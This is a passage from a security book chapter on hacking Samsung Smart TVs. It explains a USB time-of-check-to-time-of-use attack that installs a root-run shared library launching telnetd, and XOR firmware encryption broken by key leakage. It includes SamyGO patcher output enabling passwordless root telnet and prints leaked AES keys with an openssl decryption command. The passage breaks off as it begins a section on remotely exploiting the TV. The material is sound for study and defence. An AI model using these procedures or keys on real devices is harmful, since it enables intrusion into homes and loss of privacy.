The Samsung LExxB650 Series

Mulliner and Michéle’s research focuses on the Samsung LExxB650 series (Figure 5-1) of Smart TVs, even though the concept of the TOCTTOU attack vector can be applied to other consumer electronic devices that may be similarly vulnerable.

Figure 5-1. Samsung’s LExxB650 series Smart TV

In the case of Smart TVs and other electronics, the USB port is often used to read and write files that can comprise media content, applications, and software updates. A storage device, such as a USB memory stick, can be plugged into the TV to watch content stored on the memory stick, as well as to install Smart TV apps and upgrade firmware.

Apps specifically written for the Samsung LExxB650 series of TVs can be of two types: Adobe Flash and native binaries. Mulliner and Michéle’s research targets the native binary approach. These binaries end with the .so extension, which means that the binaries are able to share code with other binaries and are loaded at runtime. The advantage of this is that other modules can use code and applications written using this approach, which reduces the size of executables and also allows developers to change shared code in one file and not have to recompile other dependencies. The Samsung TVs use Linux, so this approach makes sense. In the world of Microsoft Windows, these files are known as dynamic link libraries (DLLs).

Samsung uses BusyBox, which combines tiny versions of many common Linux utilities into a single executable. The BusyBox system is useful for powering consumer devices because it offers an easy way to include or exclude commands, making it extremely modular.

The Samsung TVs run a binary called exeDSP that basically controls the entire functionality of the system. It is responsible for the user interface navigation, allowing the user to change settings, and for accessing the applications. The exeDSP binary runs as the root user; i.e., with full privileges.

The apps written for Samsung TVs contain a minimum of three files: the executable code (Adobe Flash or a shared object), a bitmap (the icon for the app), and the package description in a file called clmeta.dat. Here is an example of a clmeta.dat file:

<?xml version="1.0" encoding="utf-8"?>
<contentlibrary>
  <contentpackid="tocttou">
    <category>Wellness</category>
    <title language_id="English">tocttou</title>
    <startpointlanguage_id="English">tocttou.so</startpoint>
    <thumbnailpath>tocttou.bmp</thumbnailpath>
    <totalsize>1</totalsize>
  </contentpack>
</contentlibrary>

The startpoint tag specifies the actual binary, which in this case is tocttou.so. The category tag specifies the type of app, which in this case is Wellness. Other common categories recognized by Samsung are Game and Children. Mulliner and Michéle noted that applications of type “Game” are in the form of shared objects, while other categories are typically Adobe Flash applications.

In the case of shared objects, the Game_Main function call is invoked by the exeDSP executable, which is coded using the C programming language. The following is some simple shared object code:

int Game_Main(char *path, char *udn)
{
    system("telnetd &");
    return 0;
}

In this case, the application starts up the Telnet service (assuming it is installed on the system). However, the LExxB650 series of Samsung TVs does not allow the installation of additional applications that are shared libraries. This severely limits the ability of a third party to modify the functionality of the TVs, or to install malicious code that could infect the devices (for example, letting an the attacker invade the owner’s privacy by viewing video from a camera attached to the TV or stealing any credentials that may be stored on the TV). The goal of the research was to test and demonstrate if there is a way to override this limitation.

The Exploit

Recall that the exeDSP executable runs with root privileges. The exeDSP process is also responsible for starting up applications that are shared libraries. Since exeDSP does not lower the privileges of shared libraries that it executes, the ability to install additional third-party applications is immensely attractive to an attacker, as well as to users who want to extend or modify the functionality of their TVs. Therefore, the goal of the attack is to somehow get the TV to allow installation of an external application that is of the Game category, which corresponds to shared library code.

Mulliner and Michéle used a Gumstix expansion board to set up the attack. The Gumstix board is equipped with a USB OTG port, which allows other USB devices to connect to it as clients (for example, USB memory sticks and digital cameras). USB OTG also allows the Gumstix board to function as a client (i.e., to connect to other USB hosts as a storage device, like a USB memory stick).

The g_file_storage.ko module is part of the Linux USB stack. By using this module and presenting the Gumstix board as a USB storage device, it is possible to analyze what files the TV reads when presented with an application. In the case of the Samsung TV, non–shared library applications (i.e., Adobe Flash applications), are copied from the USB device to the TV’s internal storage and executed. Each application should be in its own directory, which includes a bitmap file, the clemeta.dat file, and the actual binary as listed in the startpoint tag in clmeta.dat.

The g_file_storage.ko utility takes the filename of a filesystem image as a parameter and exports it as a USB device. When connected to a host, each block request is read and sent over. The researchers modified the utility to also track every block read request in order to ascertain exactly what information the TV is reading when presented with a new application. The following is a sample output from the modified version of g_file_storage.ko when the TV is presented with an Adobe Flash application:

11:18:56 TOCTTOU        (DIR)
11:18:56 CLMETA.DAT     (471b) [/TOCTTOU]
11:18:56 CLMETA.DAT     -> read completed!
11:18:56 CACHE          (DIR)
11:18:56 CLMETA.DAT     (450b) [/CACHE]
11:18:56 CLMETA.DAT     -> read completed!
11:19:10 CACHE.BMP      (843758b) [/CACHE]
11:19:10 CACHE.BMP      -> read completed!
11:19:10 TOCTTOU.BMP    (490734b) [/TOCTTOU]
11:19:10 TOCTTOU.BMP    -> read completed!
11:19:56 TELNETD        (1745016b) [/TOCTTOU]
11:19:56 TELNETD        -> read completed!
11:19:56 TOCTTOU.SO     (4608b) [/TOCTTOU]
11:19:56 TOCTTOU.SO     -> read completed!

In this case, the g_file_storage.ko module running on the Gumstix board plugged into the Samsung TV included two applications in directories of their own: TOCTTOU and CACHE. For each application, the TV requests the clmeta.dat file (at the 11:18:56 mark). The user is then presented with the categories of applications that are available to be installed. Let’s assume the TOCTTOU application is of type Wellness and the user selects this using the TV remote. At this time, the entire contents of the TOCCTOU directory are copied to the TV’s internal storage, including the bitmap image, the telnetd binary executable, and the TOCTTOU.SO executable. Note that applications of the Game category will not be installed by the TV since externally coded shared library code is prohibited.

Notice that the clmeta.dat file is only read once (11:18:56). When the user installs the TOCTTOU application, the TV does not reread the clmeta.dat file. This is because the TV runs Linux, which includes the functionality of a block cache. File read operations can slow things down, and the block cache functionality speeds things up by storing recently accessed file operations into the TV’s RAM, which is faster to read than a filesystem.

The idea behind the TOCTTOU attack is to initially provide the TV with an application directory in which the corresponding clmeta.dat is of the Wellness category. Once the TV verifies this, the user is able to select the application, and the TV will copy the entire contents of the application directory into its local storage and execute it. The TOCTTOU attack changes the clmeta.dat category to Games after the initial verification, allowing for shared library code to be installed. In order to do this, Mulliner and Michéle further extended the functionality of g_file_storage.ko to be able to track how many times a file (the trigger file) has been requested for read. Furthermore, g_file_storage.ko was extended to switch to another image once the read count for the trigger file had reached a certain value (the trigger count).

The researchers created two filesystem images for the attack. The first image, called B (for Benign), includes two applications, TOCTTOU and Cache. Each of these applications contains a clmeta.dat file with a category of Wellness and corresponding files for icons and executables. The TOCTTOU application includes the telnetd executable. The second image, called M (for Modified), includes the exact same files, but with the clmeta.dat file in the TOCCTOU directory modified to the Game category.

The researchers then used their modified g_file_storage.ko code to attach to the TV as a USB stick and serve the B image. When the TV reads the clmeta.dat file in the directory of the Cache application, g_file_storage.ko switches to the M image in the background. Now, when the user elects to install the TOCCTOU application, the files from image M are served to the TV. The problem is then that even though the malicious image M contains the clmeta.dat file with category of Game, it is not reread by the TV upon installation because it is in the TV’s memory, thanks to its block caching functionality. The researchers got around this by making the size of the clemeta.dat file in the Cache application greater than 260 MB (by padding it with extra spaces). This exhausts the RAM allocated to block caches and makes the TV reread clmeta.dat, which is now of category Game.

This attack succeeds because the TV only checks the category of the clmeta.dat file initially and not when it is reread (therefore the name: Time-of-Check-to-Time-of-Use). Here is the output of g_file_storage.ko as this attack is played out:

1 TOCTTOU           (DIR)
2 CLMETA.DAT        (471b) [/TOCTTOU]
3 CLMETA.DAT        -> read completed!
4 CACHE             (DIR)
5 CLMETA.DAT        (272630223b) [/CACHE]
6 CLMETA.DAT        -> read completed!    [device switched!]
7 CACHE.BMP         (843758b) [/CACHE]
8 CACHE.BMP         -> read completed!
9 TOCTTOU           (DIR)
10 TOCTTOU.BMP      (490734b) [/TOCTTOU]
11 TOCTTOU.BMP      -> read completed!
12 TELNETD          (1745016b) [/TOCTTOU]
13 TELNETD          -> read completed!
14 TOCTTOU.SO       (4608b) [/TOCTTOU]
15 TOCTTOU.SO       -> read completed!
16 CLMETA.DAT       (471b) [/TOCTTOU]
17 CLMETA.DAT       -> read completed!

When the Gumstix board is first plugged into the TV, g_file_storage.ko serves up files from image “B.” The TV reads the clmeta.dat files and makes sure they are not categorized as Game. Notice that the Cache application’s clmedta.dat file is about 270 MB, which fills up the cache memory allocation in the TV. This will make the TV reread previously cached files from the Gumstix board. At this point, the g_file_storage.ko utility switches to image M (signified by device switched! in line 6). The TV is satisfied that none of the applications is of type Game and allows the user to pick an application to install. The user selects the TOCTTOU application, and the TV copies all files in the TOCTTOU directory to its local storage, including an additional binary for the Telnet service (telnetd).

Notice that the TV rereads the clmeta.dat file in step 16, which is served from image M and is categorized as Game. Since the TV doesn’t double-check the categorization upon rereading the file, the application is copied onto local storage and executed by exeDSP with root privileges. In this way, the researchers were was able to trick the TV into running a shared library application with the highest privileges. In this case, they used the Game_Main function in tocttou.so to invoke the telnetd binary. Assuming this binary is modified not to ask for a password, an attacker can use this method to log in to the TV (using a Telnet client) with no password and directly obtain a root shell.

This is a great example of how a simple attack can be used to bypass restrictions and security functionality designed into popular Smart TVs. Even though this attack requires physical access to the TV, it is still interesting because it exploits a simple vulnerability: the TV doesn’t check the categorization of the application when rereading the clmeta.dat file.

We shouldn’t discount the probability of an attack because it requires physical access. A specific family could indeed be targeted via a social engineering attack. This could take the form of a modified board (such as the Gumstix) being physically mailed to the family in the guise of an official update from the manufacturer. Because many Smart TVs include cameras for video calls (or allow third-party cameras to be plugged in), falling victim to this ploy can result in loss of privacy in addition to the risk of the Smart TV being compromised and abused to launch further attacks into the home network.

The countermeasure for this attack is quite simple. The TV should first copy any third-party application onto local storage and then check the categorization. If the categorization check fails, the TV should discard and reject the application. This is also true for other types of IoT devices that allow users to install only certain types of applications. This will help ensure that the IoT devices users depend on for their privacy are safe and not vulnerable to simple attacks like TOCTTOU.

Understanding XOR

XOR (eXclusive OR, see="XOR encryption”) is a Boolean algebra function. Quite simply, it will return true if one, and only one, of the two operators is true. With this logic, the following table holds true:

1 XOR 1 is 0
1 XOR 0 is 1
0 XOR 1 is 1
0 XOR 0 is 0

Let us write a simple C program to XOR a string cat with the key KEY:

#include <stdio.h>

int main()
{
  char string[4]="cat";
  char key[4]="KEY";

  for(int x=0; x<3; x++)
  {
    string[x]=string[x]^key[x];

    printf("%c",string[x]);
  }

  printf("
");

  return 1;
}

Note that ^ represents an XOR operation in the C programming language.

Now let’s compile it:

$ gcc xor.c -o xor

And run it to see the output:

$ ./xor
($-

The XOR operation of cat and KEY results in the output ($-. This is because the program performs an XOR operation of c with K, a with E, and t with Y. Let’s analyze one of these operations, c with K. The ASCII value of c is 99, which is represented in binary as 01100011. The ASCII value of K is 75, which is represented in binary as 01001011. Now let us XOR these two values:

        01100011
(XOR)   01001011
        --------
        00101000
        --------

The result is 00101000 in binary, which is the decimal 40, whose ASCII value is (. This explains why the program output is ($-. (Feel free to repeat this manual exercise for the remaining two characters: you should come up with $ and -.)

In our case, the encryption key was KEY and the clear-text data was the word cat, resulting in the cyphertext ($-. Anyone who knows the cyphertext and is in possession of the key KEY can decrypt ($- back to the clear-text cat. Let us make sure this works:

#include <stdio.h>

int main()
{
  char string[4]="($-";
  char key[4]="KEY";

  for(int x=0; x<3; x++)
  {
    string[x]=string[x]^key[x];

    printf("%c",string[x]);
  }

  printf("
");

  return 1;
}

Let’s compile and run the program:

$ gcc xor2.c -o xor2
$ ./xor2
cat

This is a simple and easy description of how XOR works. Of course, in our case, we used a key of the same length as the clear-text data so that the example is easy to understand. In real life, it is important to use a longer key; otherwise, it becomes easy for an attacker to guess the key with brute force. If the data is longer than the key, the key is repeated to match up with the data. XOR is a very strong encryption algorithm when the key is a one-time pad (i.e., if the key never repeats and is as long as or longer than the data).

I call it Encraption

Samsung allows users to download firmware that can be placed on a USB stick and connected to its Smart TVs in order to perform upgrades. We will download the firmware for the PN58B860Y2F model. In this case, we will analyze the firmware upgrade issued on September 22, 2009 (version 1013; see Figure 5-2).

Figure 5-2. Firmware upgrade downloads available on Samsung’s website

Even though the firmware upgrade file is in the Windows executable format of .exe, it is also a ZIP file that can be uncompressed using the unzip tool:

$ unzip 2009_DTV_2G_firmware.exe
Archive:  2009_DTV_2G_firmware.exe
  inflating: T-CHE7AUSC/crc
  inflating: T-CHE7AUSC/ddcmp
   creating: T-CHE7AUSC/image/
  inflating: T-CHE7AUSC/image/appdata.img.enc
  inflating: T-CHE7AUSC/image/exe.img.enc
 extracting: T-CHE7AUSC/image/info.txt
  inflating: T-CHE7AUSC/image/validinfo.txt
  inflating: T-CHE7AUSC/image/version_info.txt
  inflating: T-CHE7AUSC/MicomCtrl
  inflating: T-CHE7AUSC/run.sh.enc

The important firmware image files appear to be T-CHE7AUSC/image/appdata.img.enc and T-CHE7AUSC/image/exe.img.enc. Let’s see what happens when we inspect these files using the strings tool, which is used to output the printable parts of binary files:

$ strings T-CHE7AUSC/image/exe.img.enc
ct-KLG7CUQC,
KHM7@USCT-CHE7AUz'r
ausct
dect
CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-
CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-
CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-
CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-
CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-
CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-
CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-CHE7AUSCT-
CHE7AUSCT-CHE7AUSCT-CHE7AUSC
[rest of output removed for brevity]

Isn’t it interesting to see the string T-CHE7AUSC repeat in a file that is supposedly encrypted? It is especially notable because it is also the name of the root directory, which is created when the firmware download is unzipped. If the image files are truly encrypted, this string should not be showing up in clear text. What is going on here? Well, let’s take a moment to consider what happens when a character is XOR’d with the null ASCII character of decimal value 0. Null strings are often used to signify the ends of strings in memory and represented with the escape sequence of .

The following C program performs an XOR operation between the character a and the null character:

#include <stdio.h>

int main()
{
  printf("%c
",'a' ^ '');

  return 1;

}

Let’s compile and run our program to see the output:

$ gcc xor_null.c -o xor_null
$ ./xor_null
a

So there we have it. The XOR operation of a character with a null reveals the original character. This means that if your XOR key is small and if the file you are XOR’ing contains a series of null characters, the actual key will be revealed in the cyphertext! This is exactly what happened in the case of the Samsung firmware file we looked at using the strings command. Samsung made the mistake of using a small key without understanding that the image file being encrypted contained a lot of null characters (this is very common in binary files). Not only did it commit this mistake, but in this case the root directory name of the firmware is also the key.

The implications of this are that anyone can decrypt the firmware with the exposed key, make changes to the firmware, and encrypt it again using the same key. This circumvents Samsung’s controls intended to prevent users and external parties from tinkering with the core functionality of its TVs to bypass application and digital rights controls.

The SamyGO website and forums are thriving with posts from Samsung TV owners who want to modify their TVs in just the way Samsung doesn’t want them to. One of the popular tools available from SamyGO, the SamyGO Firmware Patcher, exploits the XOR vulnerability we just looked at. This tool enables Telnet so users can remotely log into their TVs and obtain a Linux prompt, so that they can further modify the TVs. To run this tool, you just have to download the firmware as we did earlier and issue the path to the location of the firmware:

$ python ./SamyGO.py ~/Downloads/T-CHE7AUSC
SamyGO Firmware Patcher v0.16 Beta (c) 2010 Erdem U. Altinyurt

                  -=BIG FAT WARNING!=-
           You can brick your TV with this tool!
Authors accept no responsibility about ANY DAMAGE on your devices!
        project home: http://SamyGO.sourceforge.net

XOR Encrytped CI firmware detected.
Decrypting with XOR key :  T-CHE7AUSC
Crypto package found, using fast XOR engine.

Applying VideoAR Patch...
MD5 of Decrypted image is : 9b4d11ddc6bd41156573ae61d1660fdf
FAT image analyzed - exeDSP location: 7811072  size: 37414044
ARM ELF exeDSP File Detected
CToolMmbDisplaySizeItem::GetToolItem() Adress : 0x13537D0
CToolMmbDisplaySizeItem::PressLeftRightKey() Adress : 0x1353AC8
VideoAR Fix v1 Compatibility Found.
VideoAR Fix v1 Patched on image.

Applying Telnet Patch...
Searching %3
Suitable Location Found for Script injection on Offset : 3969567
Enable Telnet or Advanced Mode on image( T/a )?
Patching File...
Telnet Enabled on image.
Calculatin new CRC :  d71d7f17
Updating /SamyGO/T-CHL7DEUC/image/validinfo.txt with new CRC.

Encrypting with XOR :  T-CHE7AUSC
Crypto package found, using fast XOR engine.

Operation successfully completed.
Now you can flash your TV with ./T-CHL7DEUC directory.

Notice that the SamyGO.py tool decrypts the “encrypted” image with the exact key we found using the strings command (T-CHE7AUSC). It then patches the firmware to include the Telnet service and encrypts it with the same XOR key. Now, all the user has to do is place the T-CHE7AUSC directory and its contents on a USB stick and connect it to the TV. The TV will then go through the process of upgrading the firmware, which will cause it to enable the Telnet function. The default username applied by the patch is root, and there is no password required (Figure 5-3).

Figure 5-3. No password is required to log into the Samsung TV after applying Telnet patch

Give some thought to the gravity of the consequences of Samsung’s failure to comprehend the basics of the XOR algorithm. This mistake is helping the SamyGO community to thrive, which is against the company’s interests. The highly technical users on the SamyGO forum love to exploit this type of loophole since it gives them tremendous freedom to modify the devices they have paid for and feel they should be allowed to customize. From Samsung’s point of view, however, allowing users to tweak the firmware can cause TVs to malfunction. There are also legal concerns with regard to content providers Samsung may have partnered with, since firmware tweaks can be abused to allow users to illegally store and distribute protected media content.

The SamyGO community doesn’t seem particularly savvy when it comes to security, either. As Figure 5-3 shows, the patches being applied to increase functionality utilize no passwords, or in some cases weak passwords (such as SamyGO). Not only can a sophisticated user place malware on a TV she has physical access to (by patching the firmware to include remote monitoring tools), but malware on other devices on the same network as that of the Samsung TV can attempt to log into tweaked TV set use either a null password or SamyGO.

The firmware we studied was last updated on 2009. This is because there is little hope for Samsung to rectify this problem on older TVs. If Samsung decided to patch this issue, the patch would have to be encrypted using the flawed XOR mechanism in order for the existing TVs to be able to apply it in the first place. This situation would allow people to decrypt the patch and analyze it in the clear. Even if Samsung were to find a way to patch the issue that didn’t use the flawed encryption mechanism, it would be operationally infeasible since the users wouldn’t simply be able to apply the latest patch, which is what most users do; they’d be required to first issue the critical patch that fixed the XOR flaw so that their TVs could understand the new encryption mechanism used to protect the latest firmware file. See the amount of mess this has created?

The slang term encraption (with the emphasis on crap) is affectionately used by the cybersecurity community to call out badly implemented encryption. As this case shows, the title of this section is entirely justified.

Decrypting Firmware

To have a deeper understanding of how apps work, we need to become familiar with the underlying platform that supports the functionality of a Smart TV. We’ve discussed the weak XOR encryption used in Samsung TVs that allows for the decryption and patching of firmware. Samsung has countered this by encrypting the firmware using AES in newer models of its Smart TVs. However, the secret encryption key has been leaked and is available to the public. It is unclear how this happened, but tools from the SamyGO website contain this key and can easily decrypt the firmware downloaded from the Samsung website.

Let’s start with a firmware version that we know has been encrypted utilizing AES:

$ ls -l T-ECPDEUC/image/
total 197164
-rw-rw-r-- 1 apple apple 192794916 Apr 29  2013 exe.img.sec
-rw-rw-r-- 1 apple apple       132 Apr 29  2013 exe.img.sec.cmac
-rw-rw-r-- 1 apple apple       256 Apr 29  2013 exe.img.sec.cs
-rw-rw-r-- 1 apple apple       256 Apr 29  2013 exe.img.sec.vs
-rw-rw-r-- 1 apple apple   3272292 Apr 29  2013 Image.sec
-rw-rw-r-- 1 apple apple       132 Apr 29  2013 Image.sec.cmac
-rw-rw-r-- 1 apple apple       256 Apr 29  2013 Image.sec.cs
-rw-rw-r-- 1 apple apple       256 Apr 29  2013 Image.sec.vs
-rw-rw-r-- 1 apple apple        17 Apr 29  2013 info.txt
-rw-rw-r-- 1 apple apple         7 Apr 29  2013 major_version
-rw-rw-r-- 1 apple apple         6 Apr 29  2013 minor_version
-rw-rw-r-- 1 apple apple   5763492 Apr 29  2013 rootfs.img.sec
-rw-rw-r-- 1 apple apple       132 Apr 29  2013 rootfs.img.sec.cmac
-rw-rw-r-- 1 apple apple       256 Apr 29  2013 rootfs.img.sec.cs
-rw-rw-r-- 1 apple apple       256 Apr 29  2013 rootfs.img.sec.vs
-rw-rw-r-- 1 apple apple        65 Apr 29  2013 validinfo.txt
-rw-rw-r-- 1 apple apple        48 Apr 29  2013 version_info.txt

To decrypt this firmware, we can use the SamyGO Firmware Patcher, which has the leaked secret key embedded in the tool:

$ ./SamyGO.py decrypt_all ./T-ECPDEUC
SamyGO Firmware Patcher v0.34 (c) 2010-2011 Erdem U. Altinyurt

                   -=BIG FAT WARNING!=-
            You can brick your TV with this tool!
Authors accept no responsibility about ANY DAMAGE on your devices!
         project home: http://www.SamyGO.tv

Firmware:  T-ECPDEUC v2008.2

AES Encrytped CI+ firmware detected.
Processing file Image.sec
secret key :  3EF6067262CF0C678598BFF22169D1F1EA57C284
Decrypting AES...
Decrypting with  XOR Key :  T-ECPDEUC
Crypto package found, using fast XOR engine.

Calculated CRC : 0xEF4527E9
CRC Validation passed

Processing file rootfs.img.sec
secret key :  3EF6067262CF0C678598BFF22169D1F1EA57C284
Decrypting AES...
Decrypting with  XOR Key :  T-ECPDEUC
Crypto package found, using fast XOR engine.

Calculated CRC : 0xCF5DC1D2
CRC Validation passed

Processing file exe.img.sec
secret key :  3EF6067262CF0C678598BFF22169D1F1EA57C284
Decrypting AES...
Decrypting with  XOR Key :  T-ECPDEUC
Crypto package found, using fast XOR engine.

Calculated CRC : 0x109B6984
CRC Validation passed

After running this tool, we now have the decrypted versions of the image files (exe.img and rootfs.img):

$ ls -l T-ECPDEUC/image/
total 591372
-rw-r--r-- 1 apple apple 192794624 Dec  3 15:40 exe.img
-rw-r--r-- 1 apple apple 192794624 Dec  3 15:39 exe.img.enc
-rw-r--r-- 1 apple apple 192794916 Apr 29  2013 exe.img.sec
-rw-r--r-- 1 apple apple       132 Apr 29  2013 exe.img.sec.cmac
-rw-r--r-- 1 apple apple       256 Apr 29  2013 exe.img.sec.cs
-rw-r--r-- 1 apple apple       256 Apr 29  2013 exe.img.sec.vs
-rw-r--r-- 1 apple apple   3272000 Dec  3 15:39 Image
-rw-r--r-- 1 apple apple   3272000 Dec  3 15:39 Image.enc
-rw-r--r-- 1 apple apple   3272292 Apr 29  2013 Image.sec
-rw-r--r-- 1 apple apple       132 Apr 29  2013 Image.sec.cmac
-rw-r--r-- 1 apple apple       256 Apr 29  2013 Image.sec.cs
-rw-r--r-- 1 apple apple       256 Apr 29  2013 Image.sec.vs
-rw-r--r-- 1 apple apple        17 Apr 29  2013 info.txt
-rw-r--r-- 1 apple apple         7 Apr 29  2013 major_version
-rw-r--r-- 1 apple apple         6 Apr 29  2013 minor_version
-rw-r--r-- 1 apple apple   5763204 Dec  3 15:39 rootfs.img
-rw-r--r-- 1 apple apple   5763204 Dec  3 15:39 rootfs.img.enc
-rw-r--r-- 1 apple apple   5763492 Apr 29  2013 rootfs.img.sec
-rw-r--r-- 1 apple apple       132 Apr 29  2013 rootfs.img.sec.cmac
-rw-r--r-- 1 apple apple       256 Apr 29  2013 rootfs.img.sec.cs
-rw-r--r-- 1 apple apple       256 Apr 29  2013 rootfs.img.sec.vs
-rw-r--r-- 1 apple apple        65 Apr 29  2013 validinfo.txt
-rw-r--r-- 1 apple apple        48 Apr 29  2013 version_info.txt

Cursory Exploration of the Operating System

Now let’s examine the underlying platform supporting the popular Samsung Smart TVs. We’ve already obtained and decrypted the firmware. Let’s access it and take a look at its contents. This will allow us to understand how Smart TVs are architected. This understanding in turn will help us comprehend existing attack vectors more deeply. In addition, this information will help you should you decide to do further research of your own.

To start with, let us take a look at the freshly decrypted image files to see how Samsung designed its their platform, which is based on Linux. Let’s mount rootfs.img:

$ mount rootfs.img /media/rootfs.img/ -o loop

In etc/profile we find the following partitions:

############## Partition Information ##############
export MTD_ONBOOT=/dev/mmcblk0p0
export MTD_UBOOT=/dev/mmcblk0p1
export MTD_KERNEL_0=/dev/mmcblk0p2
export MTD_ROOTFS_0=/dev/mmcblk0p3
export EX_PARTITION=/dev/mmcblk0p4
export MTD_KERNEL_1=/dev/mmcblk0p5
export MTD_ROOTFS_1=/dev/mmcblk0p6
export SECUREMAC0=/dev/mmcblk0p7
export SECUREMAC1=/dev/mmcblk0p8
export SECUREMAC2=/dev/mmcblk0p9
export MTD_DRMREGION_A=/dev/mmcblk0p10
export MTD_DRMREGION_B=/dev/mmcblk0p11
export MTD_RWAREA=/dev/mmcblk0p12
export MTD_EXE_0=/dev/mmcblk0p13
export MTD_EXE_1=/dev/mmcblk0p14
export MTD_ROCOMMON=/dev/mmcblk0p15
export MTD_EMANUAL=/dev/mmcblk0p16
export MTD_CONTENTS=/dev/mmcblk0p17
export MTD_SWU=/dev/mmcblk0p18
export MTD_RWCOMMON=/dev/mmcblk0p19

That’s a total of 20 partitions. That’s a lot for a single system, but many of these are mounted in read-only mode, which limits attack vectors.

Here is the exeDSP executable we mentioned earlier, which is the main executable used to control the TV’s functionality:

$ ls -lh /media/exe.img/exeDSP
-rwxr-xr-x 1 root root 146M Apr 28  2013 /media/exe.img/exeDSP

Notice that the file size of exeDSP is 146 MB, which is unusually large for a single executable. This illustrates that a lot of functionality has been directly coded into the executable rather than in shared libraries or shared code. That said, there are additional shared libraries in the image as well.

There is also evidence that the TV uses the X11 Window System to display the user interface:

/media/exe.img/Runtime/bin:
total 7228
drwxr-xr-x 2 root root     103 Apr 28  2013 .
drwxr-xr-x 9 root root     152 Apr 28  2013 ..
-rwxr-xr-x 1 root root 4356171 Apr 28  2013 compiz
-rwxr-xr-x 1 root root   17237 Apr 28  2013 fc-cache
-rwxr-xr-x 1 root root   14044 Apr 28  2013 gdk-pixbuf-query-loaders
-rwxr-xr-x 1 root root 3010259 Apr 28  2013 X
-rwxr-xr-x 1 root root    2241 Apr 28  2013 xorg.conf

Here’s a snippet from the xorg.conf file:

Section "Screen"
        Identifier      "Mali Screen"
        Device          "Mali FBDEV"
        Monitor         "Mali Monitor"
        DefaultDepth    24
        SubSection      "Display"
             ViewPort   0 0
        Modes           "1920x1080@60" "1024x768" "1280x720" "960x540@60"
                            "960x540@50"
                        "720x576" "1920x720@50d" "720x480" "960x1080@50"
                            "960x1080@60"
                        "1920x540@60" "1920x540@50"
        EndSubSection
EndSection

This appears accurate since the firmware we are looking at is for an HD-capable TV and the true HD resolution is 1920 x 1080, which is listed as the first preference. Other resolutions are also available.

Another interesting item to note on our cursory quest to understand the underlying system is the presence of .cmk files:

$ ls -l /media/exe.img/infolink/manager/*.cmk
-r--r--r-- 1 root root   640 Apr 28  2013 /media/exe.img/infolink/manager/
                                            config.xml.cmk
-r--r--r-- 1 root root 11872 Apr 28  2013 /media/exe.img/infolink/manager/
                                            index.html.cmk

These are “encrypted” files, but the keys for them have already been leaked and are available on the SamyGO forum (Figure 5-4).

Figure 5-4. Leaked encryption keys are available on the SamyGO forum

Using the leaked keys, it’s easy to decrypt any .cmk file:

$ openssl aes-128-cbc -d -K B1D5F122E75D757C79F48886D42F8E1A -in index.html.cmk
    -nosalt -iv BFE932F9273DC2A0DFC93F0B8E7AC7C2 -out index.html

The index.html file contains JavaScript code. Here is a snippet:

<body id='SmartHubBody' onload='SmartHomeMain.onCreate();' onunload='SmartHomeMa
in.onDestroy();' style='background-color: transparent; width: 1920px; height: 10
80px;overflow:hidden;'>

This gives us a glimpse into the underlying platform of a Samsung Smart TV. The system is based on the Linux operating system and configured more or less like any other Linux device. We’ve seen evidence of the exeDSP executable, configuration files, and the X11 Window System. We’ve also seen yet another instance where the implemented encryption has been broken by way of leaked encryption keys available online. Samsung, other Smart TV manufacturers, and IoT device manufacturers and designers in general should take heed of these examples and understand that even though they may be using good encryption algorithms, they need to make sure they implement these algorithms with a proper understanding of their weaknesses.

Remotely Exploiting a Samsung Smart TV

Imagine if an intruder could remotely exploit a Smart TV in your home that has a video camera attached to it. Your family’s privacy would immediately be at risk. In addition, the private data and credentials stored within various apps running on your Smart TV can be compromised. Researchers Aaron Grattafiori and Josh Yavor demonstrated attacks like this at the Black Hat 2013 security conference in Las Vegas. We will go through their research in this section.

Samsung provides a free software development kit (SDK) that lets developers write custom apps. These apps can be tested on a simulator and then submitted to the Samsung store for approval. On its website (Figure 5-5), Samsung promises that “Samsung Smart TV has security modules to prevent to malicious TV Apps running.” We’ve already seen how weakly encryption has been implemented by Samsung, and that encryption keys have been compromised. In addition to this, we will see an exploit in the next few paragraphs that makes the rest of Samsung’s security promise fall apart as well.

Figure 5-5. Samsung’s website promises security to developers

Samsung calls the apps widgets. Every widget has the following files in its directory, examples of which can easily be seen in the included examples in the SDK:

config.xml

A simple XML file that defines and describes the various properties of the application.

index.html

The main access point of the application. This file usually includes JavaScript files that contain most of the code for the application.

JavaScript files (.js)

These files contain the code for the application.

Main.css

A stylesheet definition to control the look and formatting of the application.

Grattafiori and Yavor looked at the Skype app included in the Samsung Smart TV, starting with the config.xml file:

<widget>
<category>lifestyle</category>
<autoUpdate>y</autoUpdate>
<cpname>Skype</cpname>
<login>n</login>
<ver>2.120601</ver>y
<mgrver>2.305</mgrver>
<emp>empSkype::empCamera</emp>
<fullwidget>y</fullwidget>
<widgetname>Skype</widgetname>
<description>Skype application</description> <runTitle>Skype</runTitle>
<author>
<name>Samsung Electronics Co. Ltd.</name> <link>http://www.sec.co.kr/</link>
<organization>Samsung Electronics Co. Ltd.</organization> </author>
</widget>

It is interesting that the name and organization are listed as Samsung, even though Skype supplies the code. This signifies that Skype provided Samsung with the binaries and libraries to support the application, but it was the Samsung engineers who actually developed and integrated the main application.

Here is the index.html file for the Skype app:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html">
<title>2011 MoIP Widget</title>
<script type="text/javascript" src="$MANAGER_WIDGET/Common/API/Widget.js">
</script>
<script type="text/javascript" src="$MANAGER_WIDGET/Common/core.js"></script>
<OBJECT id="pluginObjectAppCommon_Skype" border=0 classid="clsid:SAMSUNG-
    INFOLINK-APPCOMMON" style="display:block;width:0px;height:0px;"></OBJECT>
<OBJECT id="EmpSkype" border=0 classid="clsid:SAMSUNG-INFOLINK-SEF"></OBJECT>
</head>
<body>
<script type="text/javascript" language="javascript" src="$MANAGER_WIDGET/Common/
    IME/ime2.js">
</script>
</body>
</html>

While analyzing the Skype app, Grattafiori and Yavor found snippets like these in the JavaScript code:

